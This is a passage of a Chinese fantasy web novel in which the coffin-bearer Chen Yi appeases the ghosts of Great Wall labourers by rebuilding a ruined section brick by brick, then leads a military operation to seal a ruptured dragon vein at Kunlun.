如果说【山河鳞】是土地的使用权,【兵主之鳞】是守护土地的兵权,那么这枚【社稷之鳞】,便是这片土地的——最高所有权!
陈义缓缓闭上眼,他感觉自己与脚下这片土地的联系,前所未有的紧密。
他能清晰地“听”到,京城地下奔涌的龙脉在欢呼,黄河水底的铁牛在咆哮,长江深处的三江水神在叩拜。
整个炎黄大地的气运,都与他连成了一体。
然而,还没等他完全消化这份厚礼,手中的“病历铜镜”突然疯狂地闪烁起来,烫得他手心发麻。
镜面上,刚刚恢复平静的神州堪舆图,再次浮现出一个巨大到令人窒息的“病灶”!
那是一条蜿蜒**的黑色伤疤,如同一条巨大的蜈蚣,死死地趴在神州的北方。
伤疤之上,怨气冲天,无数张扭曲痛苦的人脸在其中沉浮哀嚎。
那不是帝王的戾气,不是将军的杀气,而是一种更纯粹、更绝望、也更庞大的东西——怨!
是千百年来,修筑那座伟大壁垒时,倒在风沙与苦役之下的无数民夫的怨念!
这股怨念汇聚在一起,如同一条啃食着神州龙脉的黑色巨龙,让那座本该是守护屏障的雄伟建筑,变成了一道流着脓血的巨大伤口。
在伤口最严重的地方,镜面浮现出四个血
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红的大字,每一个字都像是用血泪写成。
【长城恸哭】!
“嗡——”
就在此时,书房外,那部红色的专线电话,发出刺耳到能撕裂耳膜的尖啸。
胖三一个激灵,连滚带爬地跑去接起电话。
“喂?哪位?”
电话那头,传来秦老急促到几乎变了调的声音,背景里还夹杂着各种仪器刺耳的报警声和人员的惊呼。
“陈义呢?!快让陈义接电话!出大事了!”秦老的声音里满是颠覆三观的震惊和不敢置信,“就在刚才,我们监测到整个华北,不,是整个神州的气运场发生了剧烈的正向跃迁!泰山方向的地质应力凭空消失,盘踞在那里的千年阴煞龙气被一扫而空!这是神迹!是足以载入史册的神迹!这到底是怎么回事?”
胖三被吼得一愣一愣的,下意识地看向刚刚走出密室的陈义。
陈义接过电话,语气平淡得像是在说今天天气不错。
“不是神迹,只是做了个大扫除,把赖着不走的几窝垃圾清理了一下。”
电话那头瞬间陷入了死寂。
过了足足十几秒,秦老才用一种近乎梦呓的声音问道:“是……是你干的?”
“嗯。”
陈义应了一声,然后话锋一转。
“老秦,泰山的账结了,但又来了笔更大的烂账。”
“什么?”秦老的心瞬间提到了嗓子眼。
“长城病了,病得很重。”陈义看着手中的铜镜,镜面上那条狰狞的黑色伤疤,让他眉头微蹙,“百万劳工的怨气积攒了两千年,快压不住了。再不治,这条龙脉就要被怨气活活撑断了。”
秦老那边传来一声清晰的、牙酸的抽气声。
泰山帝王龙气,影响的是国运的“上限”。
而长城龙脉,是守护神州的“底线”!
底线要是崩了,后果不堪设想!
“需要我们做什么?!”秦老的声音瞬间变得无比凝重。
“暂时不用。”陈义的目光落在铜镜上【长城恸哭】那四个血字上,眼神变得有些古怪,“抬棺匠只管送葬,不管治病。但这次……有点特殊。”
他顿了顿,似乎在思考着什么。
“那些人,是为守护这片土地而死。他们不是垃圾,是功臣。他们的怨,不能用‘送’的,得用‘还’的。”
“还?”秦老愣住了。
“欠了他们两千年的血汗,总得有人还。”陈义淡淡说道,“我这个执绋人,就代这江山社稷,去还一还这笔债吧。”
说完,他挂断了电话,没再给秦老追问的机会。
他转身,看着一脸懵逼,还在试图消化信息的胖三,突然开口。
“胖三。”
“哎!八爷您吩咐!”
“去,给我准备全套的泥瓦匠工具,要最好的。再准备九万九千九百九十九块青砖,每一块,都得是泰山脚下的石头烧出来的。”
胖三彻底傻了,嘴巴张得能塞进一个大馒头。
“八……八爷,您这是要……改行盖房子?”
陈义嘴角扯出一抹意味深长的弧度。
“不。”
他走到窗边,遥望着北方的天际,那里,仿佛有一条无形的黑色巨龙正在发出痛苦的悲鸣。
“咱们去给长城……补个妆。”
第130章 一砖一魂,结两千年血泪工钱!
“八……八爷,您再说一遍?我……我耳朵嗡嗡的,没听清。”
胖三猛地掏了掏耳朵,脸上的肥肉因震惊而剧烈抽搐,那表情活像是在三伏天里撞见了索命的无常。
泥瓦匠工具?
九万九千九百九十九块泰山青砖?
这是哪门子的黑话?
咱们义字堂的业务,什么时候还承接土木工程了?
陈义没有理会他的失态,只是用一种不带任何情绪的语调,平静地重复。
“全套泥瓦匠工具,要最好的。”
“九万九千九百九十九块青砖,必须是泰山脚下的石头烧制,一块不能少,一块不能差。”
这一次,不光是胖三,连旁边一向沉稳的大牛、猴子和老七,眼珠子都差点从眼眶里弹出来。
胖三的舌头打了结,结结巴巴地问:“八爷,这……这是要砌个啥?给哪位通天的爷,修个永固的豪华大墓?”
“不修墓。”
陈义走到书房的窗边,目光穿透玻璃,投向遥远得望不见尽头的北方天际。
“去给长城,补个妆。”
补……妆?
胖三的大脑处理器当场烧了,一片空白。
给长城补妆?用九万多块砖?这**是补妆还是直接给长城换张脸啊!
“八爷,您……您这玩笑开得也太……”
“你看我像在开玩笑吗?”
陈义回头,眼神淡漠如深冬的古井。
“三天时间,我要看到东西。钱不够,找福伯。人手不够,让秦老那边去头疼。我只要结果。”
话音落,他不再多言,转身走回密室,将一屋子被惊雷劈得外焦里嫩的兄弟,丢在了原地。
“疯了,疯了!八爷这次是真疯了!”胖三抱着自己硕大的脑袋,在原地急得团团转,“九万多块泰山砖!三天之内从泰安运到京城!这是凡人能办到的事儿?”
猴子和老七对视,喉结滚动,满嘴都是苦涩。
只有大牛,迈着沉重的步子走到胖三身边,蒲扇般的大手落在他肩膀上,闷声道。
“八爷说要,那就必须有。”
……
接下来的三天,京城乃至周边数个省份的相关行业,都经历了一场莫名其妙的大地震。
一个神秘的胖子,挥舞着一张没有额度上限的**,以一种近乎明抢的姿态,扫空了所有能找到的顶级手工泥瓦匠工具。
与此同时,从泰安通往京城的国道上,一支由数十辆重型卡车组成的钢铁长龙,在特殊通行证的绿灯下,无视所有关卡,日夜兼程,卷起漫天烟尘。
每一辆重卡上,都码放着带着山石原始气息的青砖。
秦老在保密线路里几乎是咆哮着质问胖三到底要干什么,胖三只能哭丧着脸,用快要哭出来的声音回答:“秦老,您是我亲爷爷,别问了成吗?八爷说,要给长城做个大型美容SPA。”
电话那头,是长达半分钟的死寂。
三天后,黎明。
苏家老宅门口,那支堪比战时运输队的卡车长龙,将整条胡同堵得水泄不通。
义字堂众人换上了一身最朴素的粗布黑衣,没带杠木,没拿法器,一张张脸上写满了睡眠不足的疲惫和对未知的茫然。
陈义从宅内走出。
他甚至没看那些卡车一眼,只吐出两个字。
“出发。”
车队向北,驶出京城,如一条巨**,扎进连绵起伏的燕山山脉。
越往深处,路越颠簸,景越荒凉。
最终,车队停在了一处连**上都只有一个模糊代号的野长城脚下。
此地,名为“绝人寇”。
一个光听名字,就透着刺骨绝望的地方。
风,从残破的城墙垛口间刮过,发出尖锐的呜咽,像无数冤魂在磨着牙。
眼前的长城,早已没有了画册上的雄伟,只剩下一段段坍塌的残垣断壁,如同一条被人一节节敲碎了脊梁骨的巨龙,卑微地匍匐在光秃秃的山脊上,无声地诉说着千年的风霜与痛苦。
一股无法用言语形容的悲凉与压抑,化作实质,重重地压在每个人的心头。
胖三的牙关开始打颤,这里的冷,不是气温的冷,是能直接冻结灵魂的阴寒。
“八……八爷,就……就是这儿?”
陈义没有回答。
他跳下车,径直走到一处坍塌得最厉害的墙根。
他伸出手,指尖轻轻抚过那些被两千年风霜侵蚀得满是豁口的砖石。
冰冷,粗糙。
但在【社稷之鳞】的感知中,他触碰到的不是砖石。
而是一张张被风沙磨平了五官的脸。
一双双深陷在绝望与麻木里的眼。
“卸货。”
陈义的声音很轻,却清晰地钻进每个人的耳朵。
“把砖,码好。”
一声令下,几十名沉默寡言的司机和搬运工跳下车,开始将那一块块沉重的青砖往下搬。他们是秦老那边派来的精锐,不问缘由,只执行命令。
九万九千九百九十九块青砖,在残破的城墙下,被整整齐齐地堆成了一座金字塔般的黑色小山。
胖三等人将那套崭新到反光的泥瓦匠工具,无比郑重地摆放在一块平整的巨石上。
一把瓦刀,一个水平尺,一卷墨斗。
没有香烛,没有祭品。
这,就是今晚的法坛。
做完这一切,所有人都远远退开,只留下陈义一人,孤零零地站在那座青砖小山和残破的古老城墙之间。
夜幕,无声降临。
当最后一缕天光被远处的山脊吞没,陈义动了。
他拿起了那把瓦刀。
就在他指尖触碰到冰冷金属的刹那——
“呜——!!”
风声骤变!
那原本只是呜咽的风,陡然间,化作了千百万人同时发出的悲鸣与哭嚎!
那哭声里,没有愤怒,没有凶戾。
只有无边无际的绝望。
有被劳役活活累死的疲惫,有食不果腹的饥饿,有在寒冬里被冻僵的刺骨,有临死前对家的最后一声呼唤。
天空被瞬间吞噬,夜色漆黑如倾倒的浓墨。
残破的城墙之上,浮现出无数道虚幻扭曲的人影。
他们穿着破烂的囚衣,拖着锈迹斑斑的镣铐,麻木地抬着巨石,重复着永无止境的劳作。
一股纯粹到极致的“怨”,凝结成海啸,席卷而来。
这股力量,不伤肉身,却直冲神魂!
“噗通!”
胖三双腿一软,重重跪在地上,眼泪毫无征兆地夺眶而出,止都止不住。
他的脑海里,看见一个骨瘦如柴的年轻民夫,在监工的皮鞭下轰然倒地,在生命的最后一刻,他只是朝着家的方向,无声地张了张嘴,便再没了气息。
猴子、老七、大牛,无一例外,全部瘫软在地。
他们被这股跨
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越了两千年的庞大悲伤彻底淹没,连动一根手指的力气都没有。
这,就是【长城恸哭】。
是百万英魂,持续了两千年的悲鸣。
然而,陈义,依旧站在那里。
如同一根钉死在天地间的界桩,岿然不动。
那足以冲垮任何神魂的怨气洪流,撞在他身上,却像是撞上了一座无形的神州龙脉。
他手中的瓦刀,开始散发出淡淡的黄铜色光晕,那是【社稷之鳞】的权柄。
他抬起头,目光穿透那无数哀嚎的虚影,望向那座沉默的城墙,开口了。
他的声音不大,却像一道斩破混沌的惊雷,瞬间切开了那震耳欲聋的悲鸣。
“我来,不是超度你们。”
“也不是**你们。”
他顿了顿,每一个字,都说得异常清晰,带着不容置疑的份量。
“我,陈义,义字堂执绋人,今日代这**江山,代这炎黄社稷……”
“来给你们,结工钱。”
结!工!钱!
这三个字,如三道天宪敕令,在所有虚影的魂魄深处轰然炸响!
那无休无止的哀嚎,第一次,出现了短暂的停滞。
无数双空洞麻木的眼睛,齐刷刷地转向了陈义。
陈义没有再多说一个字。
他转身,拿起一个水桶,又提起一个石灰袋。
他将水和石灰倒在一起,用瓦刀不急不缓地搅拌。
那不是普通的水,是长江三江水神归位时,赠予他的“玄水”精华。
那也不是普通的石灰,是泰山帝王龙气被净化后,留下的“功德尘埃”。
灰白的砂浆,在他的搅拌下,渐渐散发出一种温润的、带着泥土芬芳的金色光芒。
陈义用瓦刀舀起一捧金色砂浆,均匀地抹在一块青砖上。
然后,他走到那段坍塌的墙根前,弯下腰,神情肃穆,将这第一块崭新的青砖,稳稳地按在了残破的缺口上。
动作标准,分毫不差,就像一个干了一辈子活计的老瓦匠。
就在青砖与古老的墙体完全贴合的刹那——
“铛——”
一声清越悠长的金石之音,凭空响起,瞬间盖过了所有的风声与哭嚎。
那声音,像是大年初一,古老寺庙里敲响的第一下祈福的钟。
也像是离家漂泊了一辈子的游子,终于听到的第一声乡音。
钟声扩散。
一道最浓重的怨气,被那块青砖上的金色砂浆吸入、净化,最终化作一缕纯粹的金色功德,融入了砖体。
城墙上,一个最清晰的虚影,脸上的痛苦与麻木缓缓褪去,露出一张年轻而疲惫的脸。
他对着陈义,深深地弯下了腰。
一个最标准的,叩拜大礼。
然后,他的身形化作一点萤火,消散在夜色里。
魂归故里。
天地间,那铺天盖地的悲鸣,弱了一丝。
陈义直起身,面无表情地回到青砖小山旁,拿起了第二块砖。
抹浆。
砌墙。
“铛——”
又一声钟鸣。
又一道虚影,躬身,消散。
他就像一个最孤独的泥瓦匠,在这荒无人烟的绝境之地,开始了他那看似永无止境的、浩大而沉默的工程。
一下,一下。
一砖,一瓦。
用这九万九千九百九十九块砖,去还那笔……
欠了两千年的债。
第131章 昆仑龙抬头,抬的是国运龙脉!
夜,在拉长。
风,在变调。
那千万人汇聚的悲鸣与哭嚎,正被一种全新的声音,一寸寸地覆盖、取代。
“铛——”
清越,悠长。
如古寺敲响的第一声晨钟,又如神州大地沉重的心跳。
陈义的动作,已经化作一种本能。
拿砖,抹浆,砌墙。
汗水从他的额角滑落,沿着下颌线滴下,但他握着瓦刀的手,纹丝不动。
每一块崭新的泰山青砖,都分毫不差地嵌入残破的墙体。
金石之音,便准时响起一次。
城墙之上,那无边无际的虚影中,便有一道身影凝固,脸上的痛苦与麻木如冰雪般消融。
他会对着陈义的方向,深深弯腰。
那不是叩拜,而是一种卸下千年重担的解脱。
一拜之后,魂归故里,化作萤火,归于天地。
远处的胖三等人,终于从那足以撕裂神魂的庞大悲伤中挣脱。
他们瘫在地上,胸膛剧烈起伏,眼角挂着风干的泪痕,像是刚溺水被捞上岸。
“八……八爷……”
胖三看着那个在青砖小山与古老城墙间孤独往复的背影,嘴唇颤抖,却发不出完整的声音。
那不是在修墙。
那是在渡魂。
更是在偿债。
用最笨拙,也最真诚的方式,去偿还一笔积欠了整整两千年的血泪之债。
大牛挣扎着站起,他看着陈义那因为脱力而略显蹒跚的步伐,胸口堵得发慌,迈开步子就想冲上去。
“别去!”
猴子一把死死拉住他,声音沙哑得像是被砂纸磨过。
“八爷快撑不住了!”大牛双眼赤红,低吼道。
“你扛不住!”猴子拽得更紧了,他看着陈义,眼神里是前所未有的敬畏与疏离,“那不是力气活儿!那是因果!咱们沾上一点,魂都得被碾碎!”
就在这时,胖三一咬牙,竟也从地上爬了起来,跌跌撞撞地冲了过去。
“八爷!我……我皮糙肉厚,我来!”
他跑到青砖小山旁,学着陈义的样子,伸手就去搬砖。
然而,他的指尖刚刚触碰到那块看似普通的青砖——
“嗡!”
一股未经任何削弱的,最原始、最纯粹的悲伤与绝望,化作一根烧红的钢针,瞬间贯穿了他的脑海!
那是一个在寒冬腊月被活活冻死的民夫。
他没有怨恨,没有不甘,脑海里唯一的念头,只是家里那碗永远也喝不上的热汤。
“哇——”
胖三整个人像是被无形重锤砸中,猛地缩手,抱着脑袋蹲在地上,毫无征兆地嚎啕大哭。
那哭声,比之前被怨气侵染时还要凄厉百倍,撕心裂肺。
陈义的动作微不可察地顿了一下,却没有回头。
他拿起第二块砖,继续。
猴子和老七赶紧冲过去,一左一右架起哭得快要昏厥的胖三,把他拖了回来。
“看见了么?”猴子叹了口气,眼神复杂到了极点,“这活儿,只有八爷能干。”
他们跟在陈义身边,见过他抬棺压百邪,见过他伐山破庙,见过他敕令江神。
但没有哪一次,像今晚这样,让他们感觉到如此遥远的距离。
那是一种生命层次上的鸿沟。
他们还在“术”的范畴里挣扎,而陈义,已经在制定“规矩”了。
时间,在一片诡异的寂静与胖三断断续续的抽泣声中,无声流逝。
那座青砖小山,以肉眼可见的速度在缩小。
那段坍塌的城墙,则在一点点恢复它本该有的轮廓。
当东方的天际,泛起一丝鱼肚白时,青砖只剩下了最后一排。
陈义的动作明显慢了下来,每拿起一块砖,手臂都会轻微地颤抖。
但他眼中的光,却越来越亮。
终于,他伸出手,拿起了那第九万九千九百九十九块砖。
这一刻,风停了。
哭声与钟鸣,一同消失。
天地间,陷入了一片极致的死寂。
城墙上,那残存的、数以万计的虚影,齐刷刷地停下了动作。
他们不再哀嚎,不再劳作,只是静静地站着。
一双双空洞的眼睛,全部聚焦在陈义和他手中的那最后一块砖上。
他们如同一支沉默的军队,在等待最后的检阅。
陈义深吸一口气,舀起最后一捧金色砂浆,均匀地抹在青砖上。
他走到缺口的最后一处,弯下腰,用尽全身的力气,将这块承载着终结与希望的砖,稳稳地按了下去。
没有金石之音。
取而代之的,是一阵从神州大地龙脉深处传来的,雄浑、厚重、古老的嗡鸣!
“嗡——”
这声音从绝人寇开始,如同一道无形的涟漪,瞬间扩散!
山海关、嘉峪关、雁门关……
**长城,在这一刻,仿佛从两千年的沉睡中苏醒!
那段被陈义亲手修复的墙体,爆发出璀璨夺目的金色光芒。
光芒温润,如同母亲的手,抚过整段残破的城墙。
裂纹在愈合,豁口在弥合,坍塌的基石重新变得稳固。
这条匍匐在华夏北境的石龙,那被人一节节敲碎的脊梁骨,在这一刻,被重新接上了!
城墙上,那数万道虚影,脸上的麻木与疲惫彻底褪去,取而代之的,是一种如释重负的、安详的微笑。
他们不再弯腰,而是挺直了
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胸膛。
对着陈义,对着这片他们用血肉守护过的土地,行了一个标准无比的军礼。
随即,化作漫天灿烂的星光,彻底消散。
【长城恸哭】,这道纠缠了神州龙脉两千年的巨大伤疤,在今日,被彻底抚平!
“噗通。”
陈义再也支撑不住,一屁股坐倒在地,后背重重地靠在了冰冷而坚实的墙体上,大口喘着粗气。
同一时间,他脑海中的“病历铜镜”上,那道横亘在北方的巨大黑色裂痕,已经化作了一条蜿蜒起伏、金光璀璨的巨龙图腾。
镜面光芒一闪,吐出一枚全新的龙鳞。
龙鳞呈现出古朴的城砖青灰色,上面却流动着亿万星点般的光辉,仿佛将整条星河都容纳了进去。
【**同心鳞】!
龙鳞融入陈义眉心,一股磅礴、浩瀚、众志成城的守护之力,瞬间传遍他的四肢百骸,驱散了所有的疲惫。
“收工。”
陈义站起身,拍了拍身上的尘土,对着冲过来的胖三等人,咧嘴一笑。
旭日东升,金色的阳光洒满山巅,为这条重获新生的巨龙,披上了一层神圣的霞光。
就在这时,一阵急促得如同催命符般的电话铃声,撕裂了这劫后余生的宁静。
是那部红色专线电话。
胖三手忙脚乱地掏出电话,递给陈义。
“陈义!”电话那头,是秦老从未有过的凝重与急切,“昆仑山……出事了!”
陈义的笑容瞬间收敛。
“一支地质科考队,在昆仑山死亡谷腹地进行深层钻探,半小时前,他们突破了一个未知地质层!整个营地……失联了!”
“卫星信号被一种极其强大的未知能量场完全屏蔽!我们最后的监控画面显示,那个钻井口,喷出了……黑色的‘活物’!”
秦老的声音里,带着一丝他那个位置本不该有的惊惧。
“我们怀疑,他们……他们可能钻透了传说中的‘龙脉’,唤醒了山底下沉睡的东西!”
陈义沉默着,抬起头,望向遥远的西边天际。
在他的【社稷之鳞】的感知中,代表着万山之祖的昆仑山脉,那个原本稳定无比的气运光点,正在剧烈闪烁,仿佛一颗即将**的恒星。
“知道了。”
陈义挂断电话,目光扫过身边神情各异的兄弟们。
“活儿,还没完。”
他转身,看着身后那座在晨光中雄伟壮丽的**长城,声音平静却带着不容置疑的命令。
“收工,换家伙。”
“胖三,回去把‘迎宾棺’给我擦亮点儿。”
“这次,咱们不去修墙了。”
“去给昆仑山……收个尸。”
第132章 昆仑龙脉穿孔!
那部红色专线电话,还带着秦老声音里的余温与焦躁。
“收工,换家伙。”
陈义的命令平静,不带一丝波澜。
但义字堂的每一个人都听懂了,这六个字底下压着的,是足以倾覆神州的重量。
刚刚接续长城龙脉的宏大与神圣感,瞬间被一种更原始、更浩瀚的恐惧冲刷得荡然无存。
昆仑。
万山之祖,龙脉之源。
那里出事,意味着什么?没人敢深想。
胖三等人刚从那场渡魂仪式的震撼中脱离,精神的疲惫与肉体的脱力,让他们几乎站不稳。
可听到命令,七个人没一句废话,身体的本能已驱动着他们开始收拾行囊。
“八爷,迎宾棺……怎么个亮点儿?”胖三一边将红色电话珍重地收好,一边声音发颤地问。
给长城补妆,他们还能理解。
可给昆仑山收尸……这已经超出了他们最狂野的想象力。
那地方埋着的,能是什么善茬?
“用**血混朱砂,从头到尾,擦九遍。”
陈义抬头,目光仿佛穿透了**长城,直刺遥远的西部天际。
“棺材里,铺上咱们从冠军侯墓里带出来的那块‘镇魂石’。”
他的眼神,让胖三激灵灵一颤。
那是一种屠夫审视砧板上顶级肉块的眼神,冷静,专注,充满了庖丁解牛般的审视。
“这次的‘客人’,怕是有点分量,排面得给足了。”陈义语气淡漠。
返回京城的路,是在一片死寂中度过的。
来时,是为江山社稷补一道旧伤,去偿一笔陈年烂账,虽有悲怆,却终归是“平事”。
此刻,却是去捅一个刚刚爆开的、深不见底的马蜂窝。
车队未回苏家老宅,直接被一纸军令,调往了京城西郊的一处军用机场。
一架巨大的军用运输机如沉默的钢铁巨兽,早已在停机坪等候。
机舱门大开,能看到里面已经固定好了他们的全套“家伙”,包括那口刚被胖三用**血擦得乌黑发亮,凶煞之气几乎凝成实质的百年柳木迎宾棺。
秦老没来。
但他的秘书,那位戴着金丝眼镜、永远一丝不苟的中年男人,领着一队荷枪实弹的军人,早已等候多时。
“陈先生。”秘书快步上前,脸色阴沉,眉宇间尽是化不开的忧虑。
“情况比电话里说的更糟。‘死亡谷’的钻井,已成了一个直径超过五十米的能量喷发点。所有靠近的无人机和探测设备,都在瞬间被能量分解,传不回任何有效画面。”
他压低声音,语气里透着惊惧。
“而且,能量场在以惊人的速度扩张,已覆盖方圆十公里。气象部门监测到,那片区域的磁场、重力,甚至空间读数,都出现了无法理解的紊乱。”
“有专家提出了一个……骇人的猜测。”
“说。”陈义的目光扫过那些神情紧张,手指紧扣**的士兵。
“那里……可能正在形成一个……‘领域’。”秘书艰难地吐出这个词。
胖三在一旁听得眼皮狂跳。
又是领域!
上次圣光驱魔团的“神国”领域,就已让他们吃尽苦头。
昆仑山这老祖宗级别的龙脉,搞出来的“领域”,那还了得?
“知道了。”陈义点点头,毫无波动的表情下,迈步准备登机。
“陈先生!”秘书急忙拦住他,“秦老还有一句话让我转告。”
“此次行动,代号‘龙抬头’。您是最高行动指挥,现场所有单位,包括稍后会抵达的特别行动组,全部听您调遣。”
“只有一个要求……”
秘书咽了口唾沫,一字一顿道:“不惜一切代价,稳住昆仑!”
陈义的脚步没有停下。
他只是侧过头,留下了一句让在场所有军人都为之一愣的话。
“我们是抬棺匠,不负责救火。”
“这次去,是给昆仑龙脉‘抬’个头。”
“至于稳不稳得住,得看它自己……给不给这个面子。”
话音落下,他已带着义字堂的兄弟们,走进了运输机黑暗的腹腔。
秘书愣在原地,咀嚼着这句话里蕴含的无边霸气,许久才苦笑着摇了摇头,对着通讯器下令:“‘龙抬头’行动组登机!目标,昆仑山死亡谷!重复,所有行动,听从陈先生指挥!”
运输机巨大的引擎发出雷鸣般的咆哮,冲上云霄。
机舱内,义字堂七个兄弟各自靠着舱壁闭目养神,抓紧一切时间恢复之前修补长城时耗损的精力。
陈义却毫无睡意。
他盘膝坐在那口迎宾棺前,双目紧闭。
眉心处,那枚代表着江山社稷所有权的【社稷之鳞】微微发烫。
在他的感知世界里,一幅巨大的神州堪舆图,正在缓缓展开。
泰山的光点,已恢复厚重的土黄色,稳定而祥和。
北方的长城,化作一条蜿蜒的金龙,璀璨夺目。
东南沿海,三江水神归位后,水脉清澈,一片蔚蓝。
唯独在地图的最西端!
代表万山之祖的昆仑山脉,那本该是神州龙脉最核心、最璀璨的源头,此刻却像一个被捅穿了窟窿的血袋!
一个漆黑的,不断旋转、扩张的旋涡,正在疯狂吞噬着周围属于昆仑本身的金光。
更可怕的是,无数细小的黑色丝线,正从这个旋涡中蔓延出来,顺着龙脉的走向,向东延伸,试图污染整个神州的气运网络。
【病历铜镜】上,前所未有地显现出猩红如血的四个大字:
【龙脉穿孔】!
病症描述:万山之祖,龙骨洞穿,祖龙之血(本源龙气)外泄,龙煞滋生,有倾覆之危。
“活物……”陈义喃喃自语。
那不是什么生物。
那是
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龙脉本源之气在失控状态下,混合了大地深处的混沌秽气,所催生出的“龙煞”。
是龙的“癌细胞”。
是这片天地间最纯粹的毁灭与疯狂的集合体。
就在这时,一股熟悉的,贪婪而急切的饥饿感,从他灵魂深处传来。
不是他自己。
是苏家老宅地下密室里,那口刚刚吃饱喝足没多久的青铜巨棺——“老祖宗”。
它又饿了。
并且,这一次的饥饿感,带着一种前所未有的渴望与兴奋。
如同一位最挑剔的美食家,终于闻到了梦寐以求的顶级食材的香气。
“龙煞……龙血……”
“原来,这才是你的主菜么?”
陈义的嘴角,勾起一抹冷冽的弧度。
他忽然明白了“养龙人”的真正含义。
他养的,不只是炎黄始祖的这口棺。
他要养的,是整条神州龙脉!
清理病灶,拔除病根,喂养始zǔ,形成一个完美的循环。
陈义缓缓睁开眼,对着身边假寐的胖三说了一句。
“胖三,给张三爷打个电话。”
“啊?”胖三猛地睁眼,一脸懵逼,“八爷,找……找那个摸金的干嘛?咱们又不去刨坟。”
“告诉他,昆仑山的龙脉让人拿钻头给钻漏了。”
“我缺个‘管道工’,来不来,他自己看着办。”陈义的语气不容置疑。
“另外,告诉他,他家的‘七巧分金盘’,现在在我手上。想拿回去,就带上他摸金门压箱底的本事,来昆仑一趟。”
胖三看着陈义,张了张嘴,没敢再问。
他知道,八爷这是准备把专业的事,交给专业的人干了。
盗墓的祖师爷,去给龙脉当“管道工”,这事传出去,恐怕整个地下世界都得炸开锅。
电话很快接通。
那头的张金城声音虚弱,显然上次在冠军侯墓里元气大伤,还没缓过来。
听完胖三的转述,电话那头陷入了长久的沉默。
“八爷……真这么说?”许久,张金城沙哑地问。
“一个字不差。”
“好……我知道了。”张金城的声音里透着一股认命般的疲惫,“给我准备一条航线,我现在就过去。另外……让你们家八爷,把我的分金盘……擦干净点。”
挂断电话,胖三一脸敬佩地看着陈义:“八爷,牛!这张三爷,还真就吃您这一套。”
陈义却只是看着舷窗外飞速**的云层,淡淡道:“他不来,摸金门就断了传承。他懂这个规矩。”
飞机穿过厚厚的云层,开始下降。
透过舷窗,已经能看到下方连绵不绝的雪山。
而在那片雪山环绕的盆地中央。
一个巨大的、纯粹的、扭曲了所有光线的漆黑空洞,正静静地悬浮在地表之上,缓缓旋转。
昆仑,“死亡谷”。
到了。
第133章 龙骨穿孔,摸金校尉的投名状!
运输机在距离“死亡谷”三十公里外的一处临时军用营地降落。
舱门洞开。
一股混合着稀薄空气与刺骨寒意的狂风,如刀锋般灌入机舱。
营地内,杀气凛然。
数百名全副武装的特种兵正在紧张地布防,每一张年轻的脸上都写满了凝重。
各种叫不出名字的尖端设备闪烁着绝望的警示红光。
天空中,几架武装直升机在能量场的边缘徒劳地盘旋,像被无形墙壁阻挡的苍蝇,不敢再靠近分毫。
一个肩膀上扛着将星的硬朗军官快步迎上,对着走下舷梯的陈义,“啪”地一个标准军礼。
他的腰杆笔直,眼神却泄露了一丝裂痕。
“‘龙抬头’行动总指挥,陈义同志!西部战区前线指挥官,周克,向您报到!”
周克的声音洪亮,却难掩一丝颤抖。
他指向远处那个不断扭曲光线的漆黑旋涡,那片连天空都被吞噬的绝对虚无。
“陈先生,那就是‘奇点’。”
“半小时前,直径五十米。现在,八十米。能量等级……已经击穿了我们所有的测量上限。”
陈义下了飞机,目光平静地投向那个“奇点”。
那里不是洞。
是伤口。
一个正在汩汩流出“黑血”的,属于神州龙脉的巨大创口。
那些从洞口逸散出来的,肉眼不可见的黑色丝线,是“龙煞”。
所过之处,岩石风化,草木枯萎,连空间本身都呈现出病态的扭曲。
指挥帐内,几个穿着白色防护服的科研人员对着一排滋滋作响的屏幕,状若癫狂。
“报告!伽马射线指数爆表!”
“磁场彻底紊乱!罗盘指针正在以每秒三千转的速度旋转!”
“空间曲率模型崩溃了!那里的物理规律……不存在了!”
一声声报告,是现代科学写给神话的报告。
周克咬碎了后槽牙,拳头捏得骨节发白。
他是军人,习惯了面对真刀**的敌人。
可眼前这东西,超越了所有已知的战争范式。
“我们试过用电磁炮进行物理轰击。”周克的声音透着一股被碾碎的无力,“炮弹在进入‘奇点’百米范围,就被分解成了基本粒子。”
陈义依旧沉默,绕着营地踱步。
大牛、猴子等人将那口黑漆漆的迎宾棺和一应杠木、法器从运输机上卸下,就在空地上摆开了阵势。
这番举动,与周围的钢铁洪流、尖端科技格格不入。
像是在航母甲板上搭起了草台板子。
不少士兵和科研人员投来混杂着好奇与质疑的目光。
“老乡,你们这是……要做法事?”一个年轻士兵没忍住,凑过来问胖三。
胖三白了他一眼,挺起胸膛,压低声音,故作高深:“中央特派‘地质结构风险评估顾问’,来给这山……瞧瞧病。”
士兵满脸懵圈,还想再问,被一名军官厉声喝止。
陈义走到一堆扭曲成麻花的金属残骸前,那是之前探测器的尸体。
他伸出手,指尖轻轻抚过一块碎片上的黑色斑痕。
一股冰冷、暴虐、混乱的意志顺着皮肤钻来。
【**同心鳞】在他眉心之下微光一闪,那股试图侵入的“龙煞”瞬间消融净化。
“这不是能量。”
陈义终于开口,声音不大,却让整个指挥部的喧嚣瞬间死寂。
所有人的目光,齐刷刷地盯在他身上。
“你们把它当物理现象,从一开始就错了。”
陈义站起身,拍了拍手上的灰。
“这是脓。”
一句话,让在场所有科学家面面相觑,背脊发凉。
一个白发苍苍的老教授扶了扶眼镜,声音干涩地问:“那……那该怎么办?”
“病人流脓,自然是清创,缝合。”陈义语气平淡,仿佛在说一件吃饭喝水般的小事。
“不,对龙脉来说,”他顿了顿,“叫接骨。”
接骨?
给昆仑山接骨?!
指挥部里,所有人感觉自己的世界观被一只无形的大手捏碎了。
周克嘴角剧烈抽搐,若非秦老千叮万嘱,他现在就想叫人把这个“神棍”叉出去冷静一下。
陈义没理会众人的反应,他看向天色,转身对胖三道:“请的‘眼科大夫’,什么时候到?”
“航线说已经进入空域了。”胖三答道。
话音刚落,天边传来引擎轰鸣。
一架小一号的专机,在引导下降落在不远处的跑道上。
舱门打开。
一个穿着黑色风衣,脸色苍白如纸的身影,被两个精壮汉子搀扶着,出现在舷梯口。
摸金门掌舵人,张金城。
他比在冠军侯墓时更虚弱,身形单薄,似乎一阵风就能吹倒。
可他的那双眼,在看到远处那个黑色“奇点”时,却爆发出一种病态的,混杂着恐惧与狂热的光。
“好大的手笔……”张金城喃喃自语,声音嘶哑,“这不是养尸地……这是直接在‘祖龙’的龙椅上,捅了个窟窿……”
他被手下扶着,一步步走到陈义面前。
摸金门的两个好手,看着陈义和他身后那几个扛着杠木的汉子,眼神复杂,畏惧中夹杂着刻骨的恨意。
张金城挥了挥手,示意手下退开。
他对着陈义,深深地,弯下了腰。
“摸金门,张金城,见过……八爷。”
